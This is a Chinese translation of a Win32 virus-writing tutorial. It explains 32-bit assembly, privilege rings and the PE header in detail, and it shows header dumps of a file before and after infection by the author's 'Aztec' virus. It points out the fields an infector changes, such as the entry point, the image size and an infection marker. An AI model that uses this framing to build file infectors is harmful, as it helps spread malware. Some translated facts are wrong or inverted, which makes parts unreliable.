【简要介绍】
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好了，开 始把你的大脑中的16位MS-DOS编码概念，迷人的16位偏移地址，中断，驻留内存的方法...都清除掉。所有这些我们已经使用了很多年的东西，现在已 经再也不用了。是的，它们确实现在用不到了。在这篇教程里面，当我说Win32，我的意思是Windows 95(normal,OSR1, OSR2)，Windows 98，Windows NT或Windows 3.x+Win32s。最最明显的变化，至少 在我看来是由中断变成了API，在这之前是由16位寄存器和偏移地址变到了32位的。Windows给我们开了使用其它语言代替ASM(和C)的方便之 门，但是我仍然对ASM情有独钟：利用它能更好的理解一些东西和更容易的优化(hi Super!)。正如我在上面所说的，你必须使用一种新东 西叫做API。你必须知道这些参数必须在堆栈中，而且调用这些API是使用的CALL。
注：在上面我把上面所有提到的平台叫做Win32，我把Win95(它的所有版本)和Win98叫做Win9x，把Windows 2000叫做Win2k。请注意这一点。
%由16位到32位编程的改变%
~~~~~~~~~~~~~~~~~~~~~~~~
我们现在将会使用双字(DWORD)而不是单字(WORD)了，而这个改变将会给我们一个全新的世界。 在已知的CS,DS,ES和SS:FS,GS之外，我们又多了两个段。而且我们有32位寄存器如EAX,EBX,ECX,EDX,ESI,EDI,EBP 和ESP。让我们来看看对这些寄存器怎么操作：假如我们要使用EAX的less significant word(简称LSW)， 我们该怎么做呢？这个部分可以使用AX来访问，即处理LSW。假如EAX=0000000，我们想要在它的LSW放置1234h。我们必须简单地使用一个 "mov ax,1234h"就可以了。但是如果我们想要访问EAX的MSW(Most Significant Word)，该怎么做呢？为了达到这个目的我们不能使用一个寄存器了：我们必须使用ROL。问题并不是在这里，它是把MSW值移到了LSW。
当我们得到一个新语言的时候，我们总是要试的一个经典的例子："Hello world!" :)
%Win32中的Hello World%
~~~~~~~~~~~~~~~~~~~~~~
它很简单，我们必须使用"MessageBoxA"这个API，所以我们用大家已经知道的"extrn"命令来定义 它，把参数压栈然后调用这个API。注意这个字符串必须为ASCIIZ(ASCII,0)，记住参数必须以相反的顺序压栈。
;-------从这里开始剪切----------------------------------------------------
.386 ; Processor (386+)
.model flat ; Uses 32 bit registers
extrn ExitProcess:proc ; The API it uses
extrn MessageBoxA:proc
;-
;利用"extrn"我们把在程序中要用到的所有API列出来。ExitProcess是我们用来把
;控制权交给操作系统的API，而MessageBoxA用来显示一个经典的Windows消息框。
;-
.data
szMessage db "Hello World!",0 ; Message for MsgBox
szTitle db "Win32 rocks!",0 ; Title of that MsgBox
;------------------------------------------------------------------------------------------------------------------------------
;这里我们不能把真正病毒的数据放这里了，因为这是一个例子，我们不能
;使用它，而且又因为如果我们不在这里放置一些数据，TASM将会拒绝汇编。
;无论如何...在第一次产生你的病毒主体的时候用它放置数据。
;-
.code ; Here we go!
HelloWorld:
push 00000000h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00000000h ; Handle of owner
call MessageBoxA ; The API call itself
;------------------------------------------- ; int MessageBox(
; HWND hWnd, // handle of owner window
; LPCTSTR lpText, // address of text in message box
; LPCTSTR lpCaption, // address of title of message box
; UINT uType // style of message box
; );
;
;在调用这个API之前，我们把参数压栈，如果你还记得，堆栈使用那个迷人的
;东西叫做LIFO(后进先出Last In First Out)，所以我们要按相反的顺序来
;压参数。让我们看看这个函数的每个参数的简要描述：
;
; hWnd:标志将要被创建的消息框的宿主窗口(owner window)。
; 如果这个参数是NULL，这个消息框没有宿主窗口。
; lpText:指向以空字符结尾的包含将要显示消息的字符串的指针。
; lpCaption:指向一个以空字符结尾的字符串的指针，这个字符串是这个
; 对话框的标题。如果这个参数是一个NULL，缺省的标题Error被使用。
; uType:以一些位标志来确定对话框的样式和行为。这个参数可为一些标志的组合。
;-
push 00000000h
call ExitProcess
;--------------------------------------------------------------------------------------------------------------------
; VOID ExitProcess(
; UINT uExitCode // exit code for all threads
; );
; 这个函数在Win32环境下相当于著名的Int 20h，和Int 21h的00,4C功能等等。
; 它是关闭当前进程的简单方式，即结束程序执行。下面给出唯一的一个参数：
;
; uExitCode:标志进程退出的代码，并作为所有线程终止时的代码。使用
; GetExitCodeProcess函数来刷新这个进程的退出值。使用GetExitCodeThread
; 函数来刷新一个线程的退出值。
;-
end HelloWorld
;-----到这里为止剪切-------------------------------------------------------
正如你看到的，编写代码很简单。可能没有16位环境下那么简单，但是如果你考虑到32位所带给我们的优点确实很简单 了。现在，既然你已经知道怎么来编写"Hello World"，你就有能力来感染整个世界了;)
%Rings%
~~~~~~~
我知道你对下面的东西很害怕，但是，正如我所演示的，它看起来没有那么难。让我们记住你必须清楚的东西：处理器有4 个特权级别：Ring-0,Ring-1,Ring-2和Ring-3，越往后就有越多的限制，而病毒要是用第一个特权级别，几乎编码时没有任何限制。只 要记住在迷人的DOS下面，我们总是处于Ring-0...现在想到在Win32平台下你还可以做相同的事情...好了，停止幻想了，让我们开始工作。
Ring-3还表示"用户"级，在这个级别下，我们有很多的限制，那确实不能我们的需要。Microsoft程序员 在他们发行Win95的时候犯了个错误，声称它是"无法感染"的，正如在这个操作系统卖出去之前所表明的，利用可怕的Bizatch(后来改名为 Boza，但那是另外一段历史了)。他们认为这些API不能被一个病毒访问和使用，但是他们没有想到病毒编写者们的超级智慧，所以...我们可以在用户级 下编写病毒，毫无疑问，你只要看看大量近期发布的新的Win32运行期病毒，它们都是Ring-3级下的...它们不差，不要误解了我，Ring-3病毒 是现在有可能感染所有Win32环境下文件的病毒。它们是未来...主要是因为即将发布的Windows NT 5.0(或者 Windows 2000)。我们不得不寻找能使我们的病毒(由Bizatch生成的病毒传播很差，因为它对API地址"harcoded"， 并且它们可能会因Windows版本的改变而改变)存活的API，而且我们可以用其它不同的方法来实现，正如我后面解释到的。
Ring-0是另外一段历史了，和Ring-3有着很大的区别。在这个级别下我们拥有内核编码的级别，"内核(kernel)级 别"。是不是很迷人啊？我们可以访问端口，放置我们还没有梦想过的代码...和原先的汇编最接近的东西。我们不使用一些已知的花招是不能直接访问一些东西 的，如IDT修改，SoPinKy/29A在29A#3里发表的"Call Gate"技术，或者VMM插入，在Padania或者 Fuck Harry病毒里见到的技术。当我们直接利用VxD的服务时，我们不需要API，而且它们的地址在所有Win9x系统中是被假设为相 同的，所以我们"hardcode"它们。我将在fully dedicated to Ring-0这一章里面深入讨 论。
%重要的东西%
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我想无论如何我应该在这篇教程的开头放上这些，然而我知道知道总比不知道好啊:)好了，让我们来讨论Win32操作系统内部的东西。
首先，你必须清楚一些概念。让我们从selector开始。什么是一个selector呢?相当简单，它是一个非常 大的段，而且它组成了Win32的内存，也叫做平坦内存。我们可以用4G内存(4,294,967,295字节)，仅仅通过使用32位地址。那所有这些内 存是怎么组织的呢？看看下面的示意图：
__________________________
| |<-------OFFSET=00000000h <-> 3FFFFFFFh
| 应用程序代码和数据 |
|__________________________|
| |<-------OFFSET=40000000h <-> 7FFFFFFFh
| 共享内存 |
|__________________________|
| |<-------OFFSET=80000000h <-> BFFFFFFFh
| 内核 |
|__________________________|
| |<-------OFFSET=C0000000h <-> FFFFFFFFh
| 设备驱动 |
|__________________________|
结果：我们拥有4G可用内存。是不是很迷人啊？
注意一件事情：WinNT的后两段是分开的。现在我将给出你必须知道的一些定义，其它的一些本文之外的一些概念，我假设你已经知道了。
VA:
VA表示Virtual Address，即某些程序的地址，但是在内存中(记住在Windows中在内存中和在磁盘上是不一样的)。
RVA:
RVA表示Relative Virtual Address。清楚这个概念很重要，RVA是文件在内存映射(由你或由系统)时的偏移地址。
RAW Data:
RAW Data是我们用来表示数据物理的存储的，也就是说，在磁盘(磁盘上的数据!=内存中的数据)上的存储。
Virtual Data:
Virtual Data是指那些已经被系统载入内存的数据。
File Mapping:
一种技术，在所有的Win32环境下都有，由一种快速的(并使用更少内存)文件操作方法和比DOS更容易理解的方法 组成。所有我们在内存中改变的东西，在磁盘上也会改变。文件映射还是所有Win32环境(甚至NT)下内存之间交换信息的唯一方法。
%怎么来编译东西%
~~~~~~~~~~~~~~~~
该死，我几乎忘记了这个:)编译一个Win32 ASM程序的通常参数是，至少在这篇教程的所有例子中，按如下(当ASM文件的名字为'program'，但是没有任何扩展名)：
tasm32 /m3 /ml program,,;
tlink32 /Tpe /aa program,program,,import32.lib
pewrsec program.exe
我希望足够清晰了。你还可以使用makefiles，或者建立一个bat文件来使它自动完成(就象我做的!)。
【PE文件头】
~~~~~~~~~~
这是这篇文件的最重要的一章。仔细读！
%介绍%
~~~~~~
对PE头的结构很清晰在写我们的Windows病毒很重要。下面我将给出我认为重要的东西，但是并不是关于PE文件的所有的信息，想要知道更多的东西，看看我在上面关于PE文件推荐的资料，在"有用的东西..."这一章。
_______________________________
| |<-----OFFSET=00000000h
| DOS stub |
|_______________________________|
| |<-----OFFSET=[DOS Stub+3Ch]
| PE stuff |
|_______________________________|
让我们对这两大部分进行深入的分析，让我们看看Micheal J. O'Leary的示意图：
__________________________________
| |<----Base of Image Header
| DOS compatible EXE header |--|
|__________________________________| |
| | |
| Unused | |
|__________________________________| |
| | |
| OEM identifier | |
|__________________________________| |
| | |
| OEM info | |-->Uninteresting(DOS Compatibility)
|__________________________________| |
| | |
| Offset to PE Header |----->Very interesting
|__________________________________| |
| | |
| DOS Stub program and reloc table | |
|__________________________________| |
| | |
| Unused |__|
|__________________________________|
| |
| PE header(IMAGE_FILE_HEADER) |--|
|__________________________________| |
| | |
| PE header(IMAGE_OPTIONAL_HEADER) | |
|__________________________________| |-->Very very interesting :)
| | |
| Section Table | |
|__________________________________| |
| | |
| Sections |__|
|__________________________________|
现在你已经对PE文件头已经有了一个大体的了解，确实很新奇(但也很复杂)，我们的新目标。Ok,ok，你对那些东 西有了一个"大体"的了解，但是，你仍然需要知道PE文件头中IMAGE_FILE_HEADER本身的内部结构。勒紧你的裤腰带！
IMAGE_FILE_HEADER
^^^^^^^^^^^^^^^^^
________________________________
| "PE/0/0" |<----+00000000h
|________________________________| Size:1 DWORD
| Machine |<----+00000004h
|________________________________| Size:1 WORD
| Number Of Section |<----+00000006h
|________________________________| Size:1 WORD
| Time Date Stamp |<----+00000008h
|________________________________| Size:1 DWORD
| pointer To Symbol Table |<----+0000000Ch
|________________________________| Size:1 DWORD
| Number Of Symbols |<----+00000010h
|________________________________| Size:1 DWORD
| Size Of Optional Header |<----+000000014h
|________________________________| Size:1 WORD
| Characteristics |<----+000000016h
|________________________________| Size:1 WORD
Total Size:18h BYTES
我将继续对IMAGE_FILE_HEADER的各个域给出简要的描述。
PE/0/0:
它是每个PE文件都有的标志，只要在编写你的感染程序的时候检查它是否存在。如果它在那儿，它就不是一个PE文件，ok?
Machine:
因为我们所使用的计算机的理想可以是一个非PC兼容的(NT对这些东西有一个开放等级，你知道的)，又因为PE文件是普遍的，在这个域中是这个应用程序所编写的代码的机器类型，可以为下面的值：
IMAGE_FILE_MACHINE_I386 equ 14Ch ; Intel 386.
IMAGE_FILE_MACHINE_R3000 equ 162h ; MIPS little-endian,160h big-endian
IMAGE_FILE_MACHINE_R4000 equ 166h ; MIPS little-endian
IMAGE_FILE_MACHINE_R10000 equ 168h ; MIPS little-endian
IMAGE_FILE_MACHINE_ALPHA equ 184h ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC equ 1F0h ; IBM PowerPC Little-Endian
Number Of Sections:
我们的感染程序的非常重要的域，它告诉我们这个文件的节(section)的个数。
Time Date Stamp:
保存了从1969.10.31 4:00到文件连结时所过的秒数。
Pointer To Symbol Table:
没意思，因为它仅仅被OBJ文件使用。
Number Of Symbols:
没意思，因为它仅仅被OBJ文件使用。
Size Of Optional header:
保存了IMAGE_OPTIONAL_HEADER域的字节数(看下面IMAGE_OPTIONAL_HEADER的描述)。
Characteristics:
这些标志给了我们关于这个文件的更多信息，对于我们所有人都没意思。
IMAGE_OPTIONAL_HEADER
^^^^^^^^^^^^^^^^^^^^^
________________________________
| Magic |<----+00000018h
|________________________________| Size:1 WORD
| Major Linker Version |<----+0000001Ah
|________________________________| Size:1 BYTE
| Minor Linker Version |<----+0000001Bh
|________________________________| Size:1 BYTE
| Size Of Code |<----+0000001Ch
|________________________________| Size:1 DWORD
| Size Of Initialized Data |<----+00000020h
|________________________________| Size:1 DWORD
| Size of UnInitialized Data |<----+00000024h
|________________________________| Size:1 DWORD
| Address Of Entry Point |<----+00000028h
|________________________________| Size:1 DWORD
| Base Of Code |<----+0000002Ch
|________________________________| Size:1 DWORD
| Base Of Data |<----+00000030h
|________________________________| Size:1 DWORD
| Image Base |<----+00000034h
|________________________________| Size:1 DWORD
| Section ALignment |<----+00000038h
|________________________________| Size:1 DWORD
| File Alignment |<----+0000003Ch
|________________________________| Size:1 DWORD
| Major Operating System Version |<----+00000040h
|________________________________| Size:1 WORD
| Minor Operating System Version |<----+00000042h
|________________________________| Size:1 WORD
| Major Image Version |<----+00000044h
|________________________________| Size:1 WORD
| Minor Image Version |<----+00000046h
|________________________________| Size:1 WORD
| Major Subsystem Version |<----+00000048h
|________________________________| Size:1 WORD
| Minor Subsystem Version |<----+0000004Ah
|________________________________| Size:1 WORD
| Reserved1 |<----+0000004Ch
|________________________________| Size:1 DWORD
| Size Of Headers |<----+00000050h
|________________________________| Size:1 DWORD
| CheckSum |<----+00000054h
|________________________________| Size:1 DWORD
| SubSystem |<----+00000058h
|________________________________| Size:1 DWORD
| Dll Characteristics |<----+0000005Eh
|________________________________| Size:1 WORD
| Size Of Stack Reserve |<----+00000060h
|________________________________| Size:1 DWORD
| Size Of Stack Commit |<----+00000064h
|________________________________| Size:1 DWORD
| Size OF Heap Reserve |<----+00000068h
|________________________________| Size:1 DWORD
| Size Of Heap Commit |<----+0000006Ch
|________________________________| Size:1 DWORD
| Loader Flags |<----+00000070h
|________________________________| Size:1 DWORD
| Number Of Rva And Sizes |<----+00000074h
|________________________________| Size:1 DWORD
Total Size:78h BYTES
(加上 IMAGE_FILE_HEADER ^^^^^^^^^)
Magic:
看起来总为010Bh，实际上会使我们认为它是一种签名，没有意思。
Major Linker Version and Minor Linker Version:
产生这个文件的连结器的版本，没有意思。
Size of Code:
它是所有包含可执行代码的段的总字节数。
Size of Initialized Data:
它是所有包含初始数据的段的总大小。
Size of Uninitialized data
未初始数据不占磁盘空间，但是当系统装载这个文件的时候，它会分配一些内存(实际上是虚拟内存)。
Address of EntryPoint:
是装载器开始执行代码的地方。它是一个RVA，当系统装载这个文件的时候和image base相关。非常有意思。
Base Of Code:
是文件的code段开始的RVA。code段在内存中通常在data段之前，在PE文件头之后。这个RVA在用 Microsoft连结器产生的EXE文件中通常为0x1000。Borland的TLINK32看起来把image base加到了第一个 code段的RVA处，并把结果存储在这个域中。
Base Of Data:
是文件的data段开始的RVA，data段通常在内存中处于最后，在PE文件头和code段之后。
Image Base(基址):
当连结器创造一个可执行文件的时候，它会假定将会内存映射到内存的某个地址当中。这个地址被保存在这个域中，假定的一个装载地址 来允许连结器进行优化。如果这个文件确实被装载器内存映射到那个地址，在它可以运行之前代码就不需要任何补丁了。在为Windows NT产生 的可执行文件中，缺省的Image Base为0x10000。对DLL来说，缺省的为0x400000。在Win9X中，地址0x10000 不能被用来装载EXE文件因为它在被所有进程的共享地址中。因为这个，Microsoft就把Win32的缺省Image Base改为 0x400000。老的以基址0x10000进行连结而成的可执行文件在Win9x下装载将会花费更长的时间，因为装载器需要进行基址重定位。
Section Alignment:
当映射到内存中的时候，每一节要保证是这个值的一个倍数的虚拟地址作为开始地址。对于按页的时候，缺省的节对齐方式是0x1000。
File Alingnment:
在PE文件中，构成每一节的原始数据要保证从这个值的倍数开始。缺省的值为0x200字节，可能是为了保证各节总是以磁盘节 (disk sector，它的长度也为0x200)的开始作为开始。这个域在NE文件中等价于segment/resource alignment。和NE文件不同的是，PE文件通常不会有成百个节，所以由于对齐文件的节而浪费的空间几乎很少。
Major Operating System Version and Minor Operating System Version:
使用这种类型的可执行文件的操作系统的最低版本号。既然subsystem fields目的看起来和它相类似，这个域有点摸棱两可。这个域在所有的Win32 EXE文件中缺省为1.0。
Major Image Version and Minor Image Version:
是一个用户可定义的域，它允许你可以有不同版本的EXE或DLL。你可以通过连结器的/VERSION开关来设置这个域。如："LINK /VERSION:2.0 muobj.obj"。
Major Subsystem Version and Minor Subsystem Version:
包含了运行这个可执行文件所需要的最小子系统版本。这个域的一个经典值为3.10(意思为Windows NT 3.1)。
Reserved1:
看起来总为0(最为感染标志太完美了)。
Size Of Headers:
PE文件头的大小和节(对象)表。这些节的原始数据就从这些所有文件头组件之后开始。
Checksum:
为这个文件的CRC校验值。正如在其它的Microsoft可执行文件格式中，这个域是忽略的并总设为0，这个规则的例外是这些EXE文件必须有合法的校验值。
SubSystem:
这些可执行文件的子系统的类型被它用来用户界面。WINNT.h定义了下面的值：
NATIVE 1 Doesn't require a subsystem (such as a device driver)
WINDOWS_GUI 2 Runs in the Windows GUI subsystem
WINDOWS_CUI 3 Runs in the Windows character subsystem (console app)
OS2_CUI 5 Runs in the OS/2 character subsystem (OS/2 1.x only)
POSIX_CUI 7 Runs in the Posix character subsystem
一个标志集表明了在什么环境下一个DLL的初始函数(如DLLMain)将会调用。这个值看起来总是设置为0，然而操作系统仍然对所有四个事件调用DLL初始函数。下面是定义的值：
1 当DLL第一次装载到一个进程的地址空间中时调用
2 当一个线程终止时调用
3 当一个线程开始时调用
4 当DLL已经存在时调用
Size Of Stack Reserve:
为初始线程的堆栈而保留的虚拟内存数量，然而并不是所有的内存都可以做(看下一个域)。这个域的缺省值为0x100000(1MB)。如果你用CreateThread把0作为堆栈的大小，那么创建出来的堆栈就会有相同的大小。
Size Of Stack Commit:
保证初始线程的堆栈时的内存数量。对于Microsoft的连结器这个域的初始值为0x1000字节(1页)而TLINK32为2页。
Size Of Heap Reserve:
用来保留给初始进程堆时的虚拟内存，这个堆的句柄可以通过调用GetProcessHeap函数来获得。并不能保证所有内存(看下一个域)。
Size Of Heap Commit:
在进程堆中初始时的内存数量。缺省值为1页。
Loader Flags:
从WINNT.h来看，这个域和调试支持相关。我还没有看到任何一个这些位都有效的可执行文件，也没有看到这些位都清空的。怎么用连结器设置它们呢，下面是定义的值：
1 在开始进程前唤醒一个断点指令
2 当进程已经载入后唤醒一个调试器
Number Of Rva and Sizes:
DataDirectory 数组(下面)的入口个数，这个值用当前的工具总是设置为16。
IMAGE_SECTION_HEADER
^^^^^^^^^^^^^^^^^^^^
_____________________________
| Section Name |<-----Begin of section header
|_____________________________| Size:8 BYTES
| Virtual Size |<-----+00000008h
|_____________________________| Size:1 DWORD
| Virtual Address |<-----+0000000Ch
|_____________________________| Size:1 DWORD
| Size Of Raw Data |<-----+00000010h
|_____________________________| Size:1 DWORD
| Pointer To Raw Data |<-----+00000014h
|_____________________________| Size:1 DWORD
| Pointer To Relocations |<-----+00000018h
|_____________________________| Size:1 DWORD
| Pointer To Line Numbers |<-----+0000001Ch
|_____________________________| Size:1 DWORD
| Number Of Relocations |<-----+00000020h
|_____________________________| Size:1 WORD
| Number Of Line Numbers |<-----+00000022h
|_____________________________| Size:1 WORD
| Characteristics |<-----+00000024h
|_____________________________| Size:1 DWORD
Total Size: 28h BYTES
Section Name:
命名节用的是一个8-byte的ANSI名字(非UNICODE)，大多数的节的名字以一个.(如".text") 作为开始，但是这不是必须的，你可以在一些关于PE的文章里验证这一点。你可以直接用汇编语言来命名你的节，或者在Microsoft C/C ++编译器下用"#pragma data_seg"和"pragma code_seg"。注意节名是否占了满满8个字节很重要， 没有NULL终止符。如果你是一个printf的热爱者，你可以使用%.8s来避免把名字字符串拷贝到另外一个你可以用NULL来终止的缓冲区里面。
Virtual Size:
这个域在EXE或者OBJ中有不同的意思。在一个EXE中，它存储代码或者数据的实际大小。这个大小是在把文件凑整 到文件对齐大小的倍数之前的大小。后面的SizeOfRawData域(看起来有点用词不当)存储的是凑整之后的值。Borland的连接器把这两个域的 意思颠倒过来了，看起来是正确的。对于OBJ文件，这个域表示节的物理地址。第一个节是从地址0开始的。为了寻找在一个OBJ文件中的下一个节的物理地 址，把当前节的物理地址加上SizeOfRawData值就可以了。
Virtual Address:
在EXE中，这个域指装载器应该对节进行映射的RVA。为了计算一个给定的节在内存中的真正起始地址，把映象的基址加上存储在这 个域中的VirtualAddress就可以了。利用Microsoft的工具，第一个节的缺省的RVA为0x1000。在OBJ文件中，这个域是没有意 义的并设置成0。
Size Of Raw Data:
在EXE中，这个域包含了节在按文件对齐大小凑整之后的大小。例如，假设一个文件的对齐大小为0x200，如果上述的 VirtualSize域的节的长度为0x35A，这个域就会以0x400作为节长。在OBJ文件中，这个域包含了由编译器或汇编程序所设置的精确大小。 也就是说，对于OBJ文件来说，它等于EXE中的VirtualSize域的值。
Pointer To Raw Data:
这是节基于文件的偏移量，原始数据是由编译器或汇编器设置的。如果你的程序内存映射了一个PE文件或者COFF文件 本身(而不是由操作系统来装载它)，这个域比VirtualAddress域重要。在这种情况下，你将会拥有完全的线形文件映射，所以你将会发现在这个偏 移地址出的节的数据，而不是在VirtualAddress处的特定RVA。
Pointer To Relocations
在OBJ文件中这个是节基于文件的偏移量的重定位信息，对于每一个节的重定位信息直接跟在那个节的原始数据后面。在 EXE文件中这个域(和子域)是没有意义的并设置成0。当连接器产生EXE文件的时候，它解决了大多数的修正问题，只剩基址重定位和输入函数。关于基址重 定位和输入函数的信息是保存在它们自己的节中，所以没有必要使一个EXE文件的每一个节的重定位数据在原始节数据后面。
Pointer To Line Numbers:
这是基于文件的行号表的偏移量，一个行号表使源文件的行号和一个给定的行所产生的代码地址 相关联。在现代的调试格式如CodeView格式中，行号信息是作为调试信息的一部分存储的。在COFF调试格式中，然而，行号信息是和符号名/符号类型 分开存储的。通常，只有code节(如.text)有行号。在EXE文件中，行号是在节的raw data(原始数据)之后向文件尾累加的。在 OBJ文件中，一个节的行号表是在原始节数据和这个节的重定位表之后开始的。
Number Of Relocations:
在节的行号表中的行号的数值(上面的PointerToLinenumbers域)。
Characteristics:
大多数程序员叫做标志(flag)，在COFF/PE格式中叫做特征(characterstic)。这个域是一些 表面节属性(如代码/数据，可读，或可写)的标志。要看所有可能的节属性的列表，看看定义在WINNT.H中的IMAGE_SCN_XXX_XXX。下面 给出一些比较重要的标志：
0x00000020 这个节包含代码。通常和可执行标志(0x80000000)联合设置。
0x00000040 这个节包含了初始化了的数据(initialized data)。除了可执行和.bss节之外几乎所有的节都有这个标志。
0x00000080 这个节包含了未初始化的数据(uninitialized data)，如.bss节。
0x00000200 这个节包含了一些注释或者一些其它类型的信息。这个节的一个典型利用是由编译器所设置的.drectve节，这个节包含了连接器的命令。
0x00000800 这个节的内容是不应该放在最终的EXE文件中的。这些节被编译器/汇编器用来传递信息给连接器。
0x02000000 在它被装载之后，进程就不再需要它了，这个节就可以被丢弃。最普通的可丢弃的节是基址重定位节(.reloc)。
0x10000000 这个节是可共享的。当使用一个DLL时，这个节中的数据将会通过DLL来给所有的进程共享。数据节的默认是不共享的。用更专业的术语，一个共享节告诉内存 管理器设置这个节的页映射使得所有使用这个DLL的进程指向内存中的同一个物理页。要使一个节可共享的，在连接的时候使用共享(SHARED)属性。如：
LINK /SECTION:MYDATA,RWS...
就告诉了连接器一个叫做MYDATA的节是可读的，可写的，而且是共享的。
0x20000000 这个节是可执行的。这个标志通常在"包含代码"的标志(0x00000020)被设置后设置。
0x40000000 这个节是可读的。这个标志几乎在EXE文件的所有节中都被设置。
0x80000000 这个节是可写的。如果这个标志在一个EXE文件的节中没有被设置，装载器就会标志内存映射页为只读的或只能执行的。有这个属性的典型的节是.data和.bss。有趣的是，.idata节也设置了这个属性。
%要改变的东西%
~~~~~~~~~~~~~~
下面，我将介绍在编写一个普通的PE病毒时的一些改变。假设你要编写一个会增加PE文件的最后一个节内容的病毒，这 个在我们看来更容易成功的技术，然而添加一个节更容易。让我们看看一个病毒是怎么来改变一个可执行文件的头。我使用了Lord Julus [SLAM]的INFO-PE程序。
-------- DOS INFORMATION ---------------------------------------------------
Analyzed File: GOAT002.EXE
DOS Reports:
?File Size - 2000H (08192d)
?File Time - 17:19:46 (hh:mm:ss)
?File Date - 11/06/1999 (dd/mm/yy)
?Attributes : Archive
[...]
-------- PE Header ----------------------------------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖
|0100H |0000H | PE Header Signature - PE/0/0
|0104H |0004H | The machine for this EXE is Intel 386 (value = 014CH)
|0106H |0006H | Number of sections in the file - 0004H
|0108H |0008H | File was linked at : 23/03/2049
|010CH |000CH | Pointer to Symbol Table : 00000000H
|0110H |0010H | Number of Symbols : 00000000H
|0114H |0014H | Size of the Optional Header : 00E0H
| | |
|0116H |0016H | File Characteristics - 818EH :
| | | ?File is executable
| | | ?Line numbers stripped from file
| | | ?Local symbols stripped from file
| | | ?Bytes of machine word are reversed
| | | ?32 bit word machine
| | | ?Bytes of machine word are reversed
‖_______|_____‖
-------- PE Optional Header -----------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖
|0118H |0018H | Magic Value : 010BH (`Θ`)
|011AH |001AH | Major Linker Version : 2
|011BH |001BH | Minor Linker Version : 25
| | | Linker Version : 2.25
|011CH |001CH | Size of Code : 00001200H
|0120H |0020H | Size of Initialized Data : 00000600H
|0124H |0024H | Size of Uninitialized Data : 00000000H
|0128H |0028H | Address of Entry Point : 00001000H
|012CH |002CH | Base of Code (.text ofs.) : 00001000H
|0130H |0030H | Base of Data (.bss ofs.) : 00003000H
|0134H |0034H | Image Base : 00400000H
|0138H |0038H | Section Alignment : 00001000H
|013CH |003CH | File Alignment : 00000200H
|0140H |0040H | Major Operating System Version : 1
|0142H |0042H | Minor Operating System Version : 0
|0144H |0044H | Major Image Version : 0
|0146H |0046H | Minor Image Version : 0
|0148H |0048H | Major SubSystem Version : 3
|014AH |004AH | Minor SubSystem Version : 10
|014CH |004CH | Reserved Long : 00000000H
|0150H |0050H | Size of Image : 00006000H
|0154H |0054H | Size of Headers : 00000400H
|0158H |0058H | File Checksum : 00000000H
|015CH |005CH | SubSystem : 2
| | | Image runs in the Windows GUI subsystem
|015EH |005EH | DLL Characteristics : 0000H
|0160H |0060H | Size of Stack Reserve : 00100000H
|0164H |0064H | Size of Stack Commit : 00002000H
|0168H |0068H | Size of Heap Reserve : 00100000H
|016CH |006CH | Size of Heap Commit : 00001000H
|0170H |0070H | Loader Flags : 00000000H
|0174H |0074H | Number Directories : 00000010H
[...]
------- PE Section Headers ---------------------------------
---------------------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖[...]
|0270H |0170H | Section name : .reloc
|0278H |0178H | Physical Address : 00001000H
|027CH |017CH | Virtual Address : 00005000H
|0280H |0180H | Size of RAW data : 00000200H
|0284H |0184H | Pointer to RAW data : 00001C00H
|0288H |0188H | Pointer to relocations : 00000000H
|028CH |018CH | Pointer to line numbers : 00000000H
|0290H |0190H | Number of Relocations : 0000H
|0292H |0192H | Number of line numbers : 0000H
|0294H |0194H | Characteristics : 50000040H
| | | ?Section contains initialized data.
| | | ?Section is shareable.
| | | ?Section is readable.
| | |
‖______|______‖
这是一个正常文件，没有被感染。下面是同一个文件，但是被我的Aztec病毒(一个Ring-3病毒例子，看下面的)感染了。
------------ DOS INFORMATION -----------------------------------------------------------------
Analyzed File: GOAT002.EXE
DOS Reports:
?File Size - 2600H (09728d)
?File Time - 23:20:58 (hh:mm:ss)
?File Date - 22/06/1999 (dd/mm/yy)
?Attributes : Archive
[...]
-------------- PE Header -----------------------------------------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖[...]
|0100H |0000H | PE Header Signature - PE/0/0
|0104H |0004H | The machine for this EXE is Intel 386 (value = 014CH)
|0106H |0006H | Number of sections in the file - 0004H
|0108H |0008H | File was linked at : 23/03/2049
|010CH |000CH | Pointer to Symbol Table : 00000000H
|0110H |0010H | Number of Symbols : 00000000H
|0114H |0014H | Size of the Optional Header : 00E0H
| | |
|0116H |0016H | File Characteristics - 818EH :
| | | ?File is executable
| | | ?Line numbers stripped from file
| | | ?Local symbols stripped from file
| | | ?Bytes of machine word are reversed
| | | ?32 bit word machine
| | | ?Bytes of machine word are reversed
‖_____|_______‖
--------- PE Optional Header ------------------------------------------------------
---------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖
|0118H |0018H | Magic Value : 010BH
| | |
|011AH |001AH | Major Linker Version : 2
|011BH |001BH | Minor Linker Version : 25
| | | Linker Version : 2.25
|011CH |001CH | Size of Code : 00001200H
|0120H |0020H | Size of Initialized Data : 00000600H
|0124H |0024H | Size of Uninitialized Data : 00000000H
|0128H |0028H | Address of Entry Point : 00005200H
|012CH |002CH | Base of Code (.text ofs.) : 00001000H
|0130H |0030H | Base of Data (.bss ofs.) : 00003000H
|0134H |0034H | Image Base : 00400000H
|0138H |0038H | Section Alignment : 00001000H
|013CH |003CH | File Alignment : 00000200H
|0140H |0040H | Major Operating System Version : 1
|0142H |0042H | Minor Operating System Version : 0
|0144H |0044H | Major Image Version : 0
|0146H |0046H | Minor Image Version : 0
|0148H |0048H | Major SubSystem Version : 3
|014AH |004AH | Minor SubSystem Version : 10
|014CH |004CH | Reserved Long : 43545A41H
|0150H |0050H | Size of Image : 00006600H
|0154H |0054H | Size of Headers : 00000400H
|0158H |0058H | File Checksum : 00000000H
|015CH |005CH | SubSystem : 2
| | | -Image runs in the Windows GUI subsystem
|15EH |005E | DLL Characteristics : 0000H
|160H |0060H | Size of Stack Reserve : 00100000H
|0164H |0064H | Size of Stack Commit : 00002000H
|0168H |0068H | Size of Heap Reserve : 00100000H
|016CH |006CH | Size of Heap Commit : 00001000H
|0170H |0070H | Loader Flags : 00000000H
|0174H |0074H | Number Directories : 00000010H
‖___________‖
[...]
---------PE Section Headers------------------------------------------
----------------
